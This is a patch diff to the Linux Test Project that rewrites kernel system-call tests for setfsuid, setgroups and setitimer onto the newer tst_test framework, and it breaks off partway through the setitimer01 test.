FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Testcase to test the basic functionality of the setfsuid(2) system - * call to fail on invalid uid. +/*\ + * [Description] + * + * Verify that setfsuid() syscall fails if an invalid fsuid is given. */ -#include -#include #include -#include -#include - -#include "test.h" -#include "compat_16.h" +#include "tst_test.h" +#include "compat_tst_16.h" -static void setup(void); -static void cleanup(void); - -TCID_DEFINE(setfsuid02); -int TST_TOTAL = 1; - -int main(int ac, char **av) +static void run(void) { - int lc; - - uid_t uid; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); + uid_t invalid_uid, current_uid; - uid = 1; - while (getpwuid(uid)) - uid++; + current_uid = geteuid(); + invalid_uid = (UID_T)-1; - UID16_CHECK(uid, setfsuid, cleanup); + UID16_CHECK(invalid_uid, setfsuid); - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - TEST(SETFSUID(cleanup, uid)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, - "setfsuid() failed unexpectedly"); - continue; - } - - if (TEST_RETURN == uid) { - tst_resm(TFAIL, "setfsuid() returned %ld, expected %d", - TEST_RETURN, uid); - } else { - tst_resm(TPASS, "setfsuid() returned expected value : " - "%ld", TEST_RETURN); - } - } - - cleanup(); - tst_exit(); + TST_EXP_VAL_SILENT(SETFSUID(invalid_uid), (long)current_uid); + TST_EXP_VAL(SETFSUID(invalid_uid), (long)current_uid, + "setfsuid(invalid_fsuid) test for expected failure:"); } -static void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; -} - -static void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run +}; diff --git a/testcases/kernel/syscalls/setfsuid/setfsuid03.c b/testcases/kernel/syscalls/setfsuid/setfsuid03.c index 0e5f860c..ee06e937 100755 --- a/testcases/kernel/syscalls/setfsuid/setfsuid03.c +++ b/testcases/kernel/syscalls/setfsuid/setfsuid03.c @@ -2,105 +2,46 @@ * Copyright (C) International Business Machines Corp., 2001 * Ported by Wayne Boyer * Adapted by Dustin Kirkland (k1rkland@us.ibm.com) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Testcase to test the basic functionality of the setfsuid(2) system - * call when called by a user other than root. +/*\ + * [Description] + * + * Verify that setfsuid() correctly updates the filesystem uid + * when caller is a non-root user and provided fsuid matches + * caller's real user ID. */ -#include -#include -#include -#include #include -#include "test.h" -#include "compat_16.h" - -static void setup(void); -static void cleanup(void); +#include "tst_test.h" +#include "compat_tst_16.h" -TCID_DEFINE(setfsuid03); -int TST_TOTAL = 1; +static uid_t nobody_uid; -static char nobody_uid[] = "nobody"; -static struct passwd *ltpuser; - -int main(int ac, char **av) +static void setup(void) { - int lc; - - uid_t uid; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - uid = 1; - while (!getpwuid(uid)) - uid++; + struct passwd *nobody; - UID16_CHECK(uid, setfsuid, cleanup); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - TEST(SETFSUID(cleanup, uid)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, - "setfsuid() failed unexpectedly"); - continue; - } - - if (TEST_RETURN == uid) { - tst_resm(TFAIL, - "setfsuid() returned %ld, expected anything but %d", - TEST_RETURN, uid); - } else { - tst_resm(TPASS, "setfsuid() returned expected value : " - "%ld", TEST_RETURN); - } - } - - cleanup(); - tst_exit(); + nobody = SAFE_GETPWNAM("nobody"); + nobody_uid = nobody->pw_uid; } -static void setup(void) +static void run(void) { - tst_require_root(); - - ltpuser = getpwnam(nobody_uid); - if (ltpuser == NULL) - tst_brkm(TBROK, cleanup, "getpwnam failed for user id %s", - nobody_uid); - - if (setuid(ltpuser->pw_uid) == -1) - tst_resm(TINFO | TERRNO, "setuid failed to " - "to set the effective uid to %d", ltpuser->pw_uid); + uid_t ruid, euid, suid; - tst_sig(NOFORK, DEF_HANDLER, cleanup); + SAFE_GETRESUID(&ruid, &euid, &suid); + SAFE_SETEUID(nobody_uid); + UID16_CHECK(ruid, setfsuid); - TEST_PAUSE; + TST_EXP_VAL_SILENT(SETFSUID(ruid), nobody_uid); + TST_EXP_VAL(SETFSUID(-1), ruid, "setfsuid(fsuid) by non-root user:"); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .needs_root = 1, + .setup = setup, + .test_all = run +}; diff --git a/testcases/kernel/syscalls/setgroups/.gitignore b/testcases/kernel/syscalls/setgroups/.gitignore index 0649a342..9de92824 100755 --- a/testcases/kernel/syscalls/setgroups/.gitignore +++ b/testcases/kernel/syscalls/setgroups/.gitignore @@ -4,5 +4,3 @@ /setgroups02_16 /setgroups03 /setgroups03_16 -/setgroups04 -/setgroups04_16 diff --git a/testcases/kernel/syscalls/setgroups/setgroups01.c b/testcases/kernel/syscalls/setgroups/setgroups01.c index fed7f8e5..9a5b77e9 100755 --- a/testcases/kernel/syscalls/setgroups/setgroups01.c +++ b/testcases/kernel/syscalls/setgroups/setgroups01.c @@ -1,202 +1,39 @@ +// SPDX-License-Identifier: GPL-2.0-only /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. + * Copyright (c) Linux Test Project, 2003-2023 * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * + * Author: William Roske + * CO-PILOT: Dave Fenner */ -/* $Id: setgroups01.c,v 1.7 2009/11/02 13:57:18 subrata_modak Exp $ */ -/********************************************************** - * - * OS Test - Silicon Graphics, Inc. - * - * TEST IDENTIFIER : setgroups01 - * - * EXECUTED BY : root - * - * TEST TITLE : Basic test for setgroups(2) - * - * PARENT DOCUMENT : usctpl01 - * - * TEST CASE TOTAL : 1 - * - * WALL CLOCK TIME : 1 - * - * CPU TYPES : ALL - * - * AUTHOR : William Roske - * - * CO-PILOT : Dave Fenner - * - * DATE STARTED : 03/30/92 - * - * INITIAL RELEASE : UNICOS 7.0 - * - * TEST CASES - * - * 1.) setgroups(2) returns...(See Description) - * - * INPUT SPECIFICATIONS - * The standard options for system call tests are accepted. - * (See the parse_opts(3) man page). - * - * OUTPUT SPECIFICATIONS - *$ - * DURATION - * Terminates - with frequency and infinite modes. - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * RESOURCES - * None - * - * ENVIRONMENTAL NEEDS - * No run-time environmental needs. - * - * SPECIAL PROCEDURAL REQUIREMENTS - * None - * - * INTERCASE DEPENDENCIES - * None - * - * DETAILED DESCRIPTION - * This is a Phase I test for the setgroups(2) system call. It is intended - * to provide a limited exposure of the system call, for now. It - * should/will be extended when full functional tests are written for - * setgroups(2). - * - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * - * Cleanup: - * Print errno log and/or timing stats if options given - * - * - *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/ - -#include -#include -#include -#include -#include -#include -#include "test.h" - -#include "compat_16.h" +/*\ + * [Description] + * + * Check the basic functionality of the setgroups() system call. + */ -void setup(); -void cleanup(); +#include "tst_test.h" +#include "compat_tst_16.h" -TCID_DEFINE(setgroups01); -int TST_TOTAL = 1; +static int len = NGROUPS; -int len = NGROUPS, ngrps = 0; -GID_T list[NGROUPS]; +static GID_T list[NGROUPS]; -int main(int ac, char **av) +static void verify_setgroups(void) { - int lc; - - /*************************************************************** - * parse standard options - ***************************************************************/ - tst_parse_opts(ac, av, NULL, NULL); - - /*************************************************************** - * perform global setup for test - ***************************************************************/ - setup(); - - /*************************************************************** - * check looping state if -c option given - ***************************************************************/ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call setgroups(2) - */ - TEST(SETGROUPS(cleanup, ngrps, list)); - - /* check return code */ - if (TEST_RETURN == -1) { - tst_resm(TFAIL, - "setgroups(%d, list) Failed, errno=%d : %s", - len, TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - tst_resm(TPASS, - "setgroups(%d, list) returned %ld", - len, TEST_RETURN); - } - - } - - cleanup(); - tst_exit(); + TST_EXP_POSITIVE(SETGROUPS(1, list), "setgroups()"); } -/*************************************************************** - * setup() - performs all ONE TIME setup for this test. - ***************************************************************/ -void setup(void) +static void setup(void) { - - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - ngrps = GETGROUPS(cleanup, len, list); - if (ngrps == -1) { - tst_brkm(TBROK, cleanup, - "getgroups(%d, list) Failure. errno=%d : %s", - len, errno, strerror(errno)); - } + len = GETGROUPS(NGROUPS, list); + if (len < 0) + tst_brk(TBROK | TERRNO, "getgroups() Failed"); } -/*************************************************************** - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - ***************************************************************/ -void cleanup(void) -{ - -} +static struct tst_test test = { + .test_all = verify_setgroups, + .setup = setup, + .needs_root = 1, +}; diff --git a/testcases/kernel/syscalls/setgroups/setgroups02.c b/testcases/kernel/syscalls/setgroups/setgroups02.c index de23a4a7..2b7f95c8 100755 --- a/testcases/kernel/syscalls/setgroups/setgroups02.c +++ b/testcases/kernel/syscalls/setgroups/setgroups02.c @@ -1,180 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2003-2023 + * 07/2001 Ported by Wayne Boyer */ -/* - * Test Name: setgroups02 - * - * Test Description: - * Verify that, only root process can invoke setgroups() system call to - * set the supplementary group IDs of the process. - * - * Expected Result: - * The call succeeds in setting all the supplementary group IDs of the - * calling process. The new group should be set in the process supplemental - * group list. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * - * Usage: - * setgroups02 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS: - * This test should be run by 'super-user' (root) only. +/*\ + * [Description] * + * Check that root process can setgroups() supplementary group ID and verify + * that getgroups() returns the previously set ID. */ -#include -#include -#include -#include -#include -#include - -#include "test.h" - -#include "compat_16.h" -#define TESTUSER "nobody" - -TCID_DEFINE(setgroups02); -int TST_TOTAL = 1; /* Total number of test conditions */ -GID_T groups_list[NGROUPS]; /* Array to hold gids for getgroups() */ - -struct passwd *user_info; /* struct. to hold test user info */ -void setup(); /* setup function for the test */ -void cleanup(); /* cleanup function for the test */ - -int main(int ac, char **av) -{ - int lc, i; - int gidsetsize = 1; /* only one GID, the GID of TESTUSER */ - int PASS_FLAG = 0; /* used for checking group array */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call setgroups() to set supplimentary group IDs of - * the calling super-user process to gid of TESTUSER. - */ - TEST(SETGROUPS(cleanup, gidsetsize, groups_list)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, "setgroups(%d, groups_list) Failed, " - "errno=%d : %s", gidsetsize, TEST_ERRNO, - strerror(TEST_ERRNO)); - continue; - } +#include - /* - * Call getgroups(2) to verify that - * setgroups(2) successfully set the - * supp. gids of TESTUSER. - */ - groups_list[0] = '\0'; - if (GETGROUPS(cleanup, gidsetsize, groups_list) < 0) { - tst_brkm(TFAIL, cleanup, "getgroups() Fails, " - "error=%d", errno); - } - for (i = 0; i < NGROUPS; i++) { - if (groups_list[i] == user_info->pw_gid) { - tst_resm(TPASS, - "Functionality of setgroups" - "(%d, groups_list) successful", - gidsetsize); - PASS_FLAG = 1; - } - } - if (PASS_FLAG == 0) { - tst_resm(TFAIL, "Supplimentary gid %d not set " - "for the process", user_info->pw_gid); - } - } +#include "tst_test.h" +#include "compat_tst_16.h" - cleanup(); - tst_exit(); -} +static GID_T *groups_get, *groups_set; -/* - * setup() - performs all ONE TIME setup for this test. - * - * Make sure the test process uid is root. - * Get the supplimentrary group id of test user from /etc/passwd file. - */ -void setup(void) +static void verify_setgroups(void) { + groups_set[0] = 42; - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); + TST_EXP_PASS(SETGROUPS(1, groups_set)); - TEST_PAUSE; + TST_EXP_VAL(GETGROUPS(1, groups_get), 1); - /* Get the group id info. of TESTUSER from /etc/passwd */ - if ((user_info = getpwnam(TESTUSER)) == NULL) { - tst_brkm(TFAIL, cleanup, "getpwnam(2) of %s Failed", TESTUSER); - } + TST_EXP_EQ_LI(groups_get[0], groups_set[0]); - if (!GID_SIZE_CHECK(user_info->pw_gid)) { - tst_brkm(TBROK, - cleanup, - "gid returned from getpwnam is too large for testing setgroups16"); - } - - groups_list[0] = user_info->pw_gid; + groups_get[0] = 0; } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .test_all = verify_setgroups, + .bufs = (struct tst_buffers []) { + {&groups_get, .size = sizeof(GID_T)}, + {&groups_set, .size = sizeof(GID_T)}, + {}, + }, + .needs_root = 1, +}; diff --git a/testcases/kernel/syscalls/setgroups/setgroups03.c b/testcases/kernel/syscalls/setgroups/setgroups03.c index 490b0699..fbf8de0b 100755 --- a/testcases/kernel/syscalls/setgroups/setgroups03.c +++ b/testcases/kernel/syscalls/setgroups/setgroups03.c @@ -1,222 +1,75 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (C) Bull S.A. 2001 + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2003-2023 + * 07/2001 Ported by Wayne Boyer + * 05/2002 Ported by Andre Merlier */ -/* - * Test Name: setgroups03 - * - * Test Description: - * Verify that, - * 1. setgroups() fails with -1 and sets errno to EINVAL if the size - * argument value is > NGROUPS - * 2. setgroups() fails with -1 and sets errno to EPERM if the - * calling process is not super-user. +/*\ + * [Description] * - * Expected Result: - * setgroups() should fail with return value -1 and set expected errno. + * Test for EINVAL, EPERM, EFAULT errors. * - * Algorithm: - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. + * - setgroups() fails with EINVAL if the size argument value is > NGROUPS. * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * if errno set == expected errno - * Issue sys call fails with expected return value and errno. - * Otherwise, - * Issue sys call fails with unexpected errno. - * Otherwise, - * Issue sys call returns unexpected value. - * - * Cleanup: - * Print errno log and/or timing stats if options given - * - * Usage: - * setgroups03 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS: - * This test should be executed by 'non-super-user' only. + * - setgroups() fails with EPERM if the calling process is not super-user. * + * - setgroups() fails with EFAULT if the list has an invalid address. */ -#include -#include -#include -#include -#include -#include -#include "test.h" +#include +#include -#include "compat_16.h" +#include "tst_test.h" +#include "compat_tst_16.h" #define TESTUSER "nobody" -char nobody_uid[] = "nobody"; -struct passwd *ltpuser; +static GID_T *glist1, *glist2, *glist3; +static struct passwd *user_info; -TCID_DEFINE(setgroups03); -int TST_TOTAL = 2; - -GID_T *groups_list; /* Array to hold gids for getgroups() */ - -int setup1(); /* setup function to test error EPERM */ -void setup(); /* setup function for the test */ -void cleanup(); /* cleanup function for the test */ - -struct test_case_t { /* test case struct. to hold ref. test cond's */ - size_t gsize_add; - int list; - char *desc; +static struct tcase { + int gsize; + GID_T **glist; int exp_errno; - int (*setupfunc) (); -} Test_cases[] = { - { - 1, 1, "Size is > sysconf(_SC_NGROUPS_MAX)", EINVAL, NULL}, { - 0, 2, "Permission denied, not super-user", EPERM, setup1} +} tcases[] = { + {NGROUPS + 1, &glist1, EINVAL}, + {1, &glist2, EPERM}, + {NGROUPS, &glist3, EFAULT}, }; -int main(int ac, char **av) -{ - int lc; - int gidsetsize; /* total no. of groups */ - int i; - char *test_desc; /* test specific error message */ - int ngroups_max = sysconf(_SC_NGROUPS_MAX); /* max no. of groups in the current system */ - - tst_parse_opts(ac, av, NULL, NULL); - - groups_list = malloc(ngroups_max * sizeof(GID_T)); - if (groups_list == NULL) { - tst_brkm(TBROK, NULL, "malloc failed to alloc %zu errno " - " %d ", ngroups_max * sizeof(GID_T), errno); - } - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) { - if (Test_cases[i].setupfunc != NULL) { - Test_cases[i].setupfunc(); - } - - gidsetsize = ngroups_max + Test_cases[i].gsize_add; - test_desc = Test_cases[i].desc; - - /* - * Call setgroups() to test different test conditions - * verify that it fails with -1 return value and - * sets appropriate errno. - */ - TEST(SETGROUPS(cleanup, gidsetsize, groups_list)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "setgroups(%d) returned %ld, " - "expected -1, errno=%d", gidsetsize, - TEST_RETURN, Test_cases[i].exp_errno); - continue; - } - - if (TEST_ERRNO == Test_cases[i].exp_errno) { - tst_resm(TPASS, - "setgroups(%d) fails, %s, errno=%d", - gidsetsize, test_desc, TEST_ERRNO); - } else { - tst_resm(TFAIL, "setgroups(%d) fails, %s, " - "errno=%d, expected errno=%d", - gidsetsize, test_desc, TEST_ERRNO, - Test_cases[i].exp_errno); - } - } - - } - - cleanup(); - - tst_exit(); -} - -/* - * setup() - performs all ONE TIME setup for this test. - * - * Call individual test specific setup functions. - */ -void setup(void) +static void verify_setgroups(unsigned int i) { - tst_require_root(); + struct tcase *tc = &tcases[i]; - tst_sig(NOFORK, DEF_HANDLER, cleanup); + if (tc->exp_errno == EPERM) + SAFE_SETEUID(user_info->pw_uid); - TEST_PAUSE; + TST_EXP_FAIL(SETGROUPS(tc->gsize, *tc->glist), tc->exp_errno, + "setgroups(%d, groups_list)", tc->gsize); + if (tc->exp_errno == EPERM) + SAFE_SETEUID(0); } -/* - * setup1 - Setup function to test setgroups() which returns -1 - * and sets errno to EPERM. - * - * Get the user info. from /etc/passwd file. - * This function returns 0 on success. - */ -int setup1(void) +static void setup(void) { - struct passwd *user_info; /* struct. to hold test user info */ - -/* Switch to nobody user for correct error code collection */ - ltpuser = getpwnam(nobody_uid); - if (seteuid(ltpuser->pw_uid) == -1) { - tst_resm(TINFO, "setreuid failed to " - "to set the effective uid to %d", ltpuser->pw_uid); - perror("setreuid"); - } - - if ((user_info = getpwnam(TESTUSER)) == NULL) { - tst_brkm(TFAIL, cleanup, "getpwnam(2) of %s Failed", TESTUSER); - } - - if (!GID_SIZE_CHECK(user_info->pw_gid)) { - tst_brkm(TBROK, - cleanup, - "gid returned from getpwnam is too large for testing setgroups16"); - } - groups_list[0] = user_info->pw_gid; - return 0; + user_info = SAFE_GETPWNAM(TESTUSER); + glist2[0] = 42; + glist3 = tst_get_bad_addr(NULL); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .test = verify_setgroups, + .tcnt = ARRAY_SIZE(tcases), + .bufs = (struct tst_buffers []) { + {&glist1, .size = sizeof(GID_T) * (NGROUPS + 1)}, + {&glist2, .size = sizeof(GID_T)}, + {&user_info, .size = sizeof(struct passwd)}, + {}, + }, + .setup = setup, + .needs_root = 1, +}; diff --git a/testcases/kernel/syscalls/setitimer/.gitignore b/testcases/kernel/syscalls/setitimer/.gitignore index 048db9b3..35779a32 100755 --- a/testcases/kernel/syscalls/setitimer/.gitignore +++ b/testcases/kernel/syscalls/setitimer/.gitignore @@ -1,3 +1,2 @@ /setitimer01 /setitimer02 -/setitimer03 diff --git a/testcases/kernel/syscalls/setitimer/setitimer01.c b/testcases/kernel/syscalls/setitimer/setitimer01.c index 6874b94a..d12abe90 100755 --- a/testcases/kernel/syscalls/setitimer/setitimer01.c +++ b/testcases/kernel/syscalls/setitimer/setitimer01.c @@ -1,157 +1,172 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) Linux Test Project, 2002-2022 + * Copyright (c) International Business Machines Corp., 2001 + * 03/2001 - Written by Wayne Boyer */ -/* - * NAME - * setitimer01.c - * - * DESCRIPTION - * setitimer01 - check that a resonable setitimer() call succeeds. +/*\ + * [Description] * - * ALGORITHM - * loop if that option was specified - * allocate needed space and set up needed values - * issue the system call - * check the errno value - * issue a PASS message if we get zero - * otherwise, the tests fails - * issue a FAIL message - * break any remaining tests - * call cleanup - * - * USAGE: - * setitimer01 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 03/2001 - Written by Wayne Boyer - * - * RESTRICTIONS - * none + * Spawn a child, verify that setitimer() syscall passes and it ends up + * counting inside expected boundaries. Then verify from the parent that + * the syscall sent the correct signal to the child. */ -#include "test.h" - +#include #include #include +#include +#include "tst_test.h" +#include "lapi/syscalls.h" +#include "tst_safe_clocks.h" + +static struct timeval tv; +static struct itimerval *value, *ovalue; +static volatile unsigned long sigcnt; +static long time_step; +static long time_sec; +static long time_usec; + +static struct tcase { + int which; + char *des; + int signo; +} tcases[] = { + {ITIMER_REAL, "ITIMER_REAL", SIGALRM}, + {ITIMER_VIRTUAL, "ITIMER_VIRTUAL", SIGVTALRM}, + {ITIMER_PROF, "ITIMER_PROF", SIGPROF}, +}; + +static int sys_setitimer(int which, void *new_value, void *old_value) +{ + return tst_syscall(__NR_setitimer, which, new_value, old_value); +} -void cleanup(void); -void setup(void); - -char *TCID = "setitimer01"; -int TST_TOTAL = 1; - -#define SEC0 0 -#define SEC1 20 -#define SEC2 40 - -int main(int ac, char **av) +static void sig_routine(int signo LTP_ATTRIBUTE_UNUSED) { - int lc; - struct itimerval *value, *ovalue; + sigcnt++; +} - tst_parse_opts(ac, av, NULL, NULL); +static void set_setitimer_value(int sec, int usec) +{ + value->it_value.tv_sec = sec; + value->it_value.tv_usec = usec; + value->it_interval.tv_sec = sec; + value->it_interval.tv_usec = usec; +} - setup(); /* global setup */ +static void verify_setitimer(unsigned int i) +{ + pid_t pid; + int status; + long margin; + struct tcase *tc = &tcases[i]; + + tst_res(TINFO, "tc->which = %s", tc->des); + + if (tc->which == ITIMER_REAL) { + if (gettimeofday(&tv, NULL) == -1) + tst_brk(TBROK | TERRNO, "gettimeofday(&tv1, NULL) failed"); + else + tst_res(TINFO, "Test begin time: %ld.%lds", tv.tv_sec, tv.tv_usec); + } - /* The following loop checks looping state if -i option given */ + pid = SAFE_FORK(); - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; + if (pid == 0) { + tst_no_corefile(0); - /* allocate some space for the timer structures */ + set_setitimer_value(time_sec, time_usec); + TST_EXP_PASS(sys_setitimer(tc->which, value, NULL)); - if ((value = malloc((size_t)sizeof(struct itimerval))) == - NULL) { - tst_brkm(TBROK, cleanup, "value malloc failed"); - } + set_setitimer_value(5 * time_sec, 7 * time_usec); + TST_EXP_PASS(sys_setitimer(tc->which, value, ovalue)); - if ((ovalue = malloc((size_t)sizeof(struct itimerval))) == - NULL) { - tst_brkm(TBROK, cleanup, "ovalue malloc failed"); - } + TST_EXP_EQ_LI(ovalue->it_interval.tv_sec, time_sec); + TST_EXP_EQ_LI(ovalue->it_interval.tv_usec, time_usec); - /* set up some reasonable values */ + tst_res(TINFO, "ovalue->it_value.tv_sec=%ld, ovalue->it_value.tv_usec=%ld", + ovalue->it_value.tv_sec, ovalue->it_value.tv_usec); - value->it_value.tv_sec = SEC1; - value->it_value.tv_usec = SEC0; - value->it_interval.tv_sec = 0; - value->it_interval.tv_usec = 0; /* - * issue the system call with the TEST() macro - * ITIMER_REAL = 0, ITIMER_VIRTUAL = 1 and ITIMER_PROF = 2 + * ITIMER_VIRTUAL and ITIMER_PROF timers always expire a + * time_step afterward the elapsed time to make sure that + * at least counters take effect. */ + margin = tc->which == ITIMER_REAL ? 0 : time_step; - TEST(setitimer(ITIMER_REAL, value, ovalue)); - - if (TEST_RETURN != 0) { - tst_resm(TFAIL, "call failed - errno = %d - %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - continue; + if (ovalue->it_value.tv_sec == time_sec) { + if (ovalue->it_value.tv_usec < 0 || + ovalue->it_value.tv_usec > time_usec + margin) + tst_res(TFAIL, "ovalue->it_value.tv_usec is out of range: %ld", + ovalue->it_value.tv_usec); + } else { + if (ovalue->it_value.tv_sec < 0 || + ovalue->it_value.tv_sec > time_sec) + tst_res(TFAIL, "ovalue->it_value.tv_sec is out of range: %ld", + ovalue->it_value.tv_sec); } - /* - * call setitimer again with new values. - * the old values should be stored in ovalue - */ - value->it_value.tv_sec = SEC2; - value->it_value.tv_usec = SEC0; + SAFE_SIGNAL(tc->signo, sig_routine); - if ((setitimer(ITIMER_REAL, value, ovalue)) == -1) { - tst_brkm(TBROK, cleanup, "second setitimer " - "call failed"); - } + set_setitimer_value(0, time_usec); + TST_EXP_PASS(sys_setitimer(tc->which, value, NULL)); - if (ovalue->it_value.tv_sec <= SEC1) { - tst_resm(TPASS, "functionality is correct"); - } else { - tst_brkm(TFAIL, cleanup, "old timer value is " - "not equal to expected value"); - } + while (sigcnt <= 10UL) + ; + + SAFE_SIGNAL(tc->signo, SIG_DFL); + + while (1) + ; } - cleanup(); - tst_exit(); + SAFE_WAITPID(pid, &status, 0); + + if (WIFSIGNALED(status) && WTERMSIG(status) == tc->signo) + tst_res(TPASS, "Child received signal: %s", tst_strsig(tc->signo)); + else + tst_res(TFAIL, "Child: %s", tst_strstatus(status)); + + if (tc->which == ITIMER_REAL) { + if (gettimeofday(&tv, NULL) == -1) + tst_brk(TBROK | TERRNO, 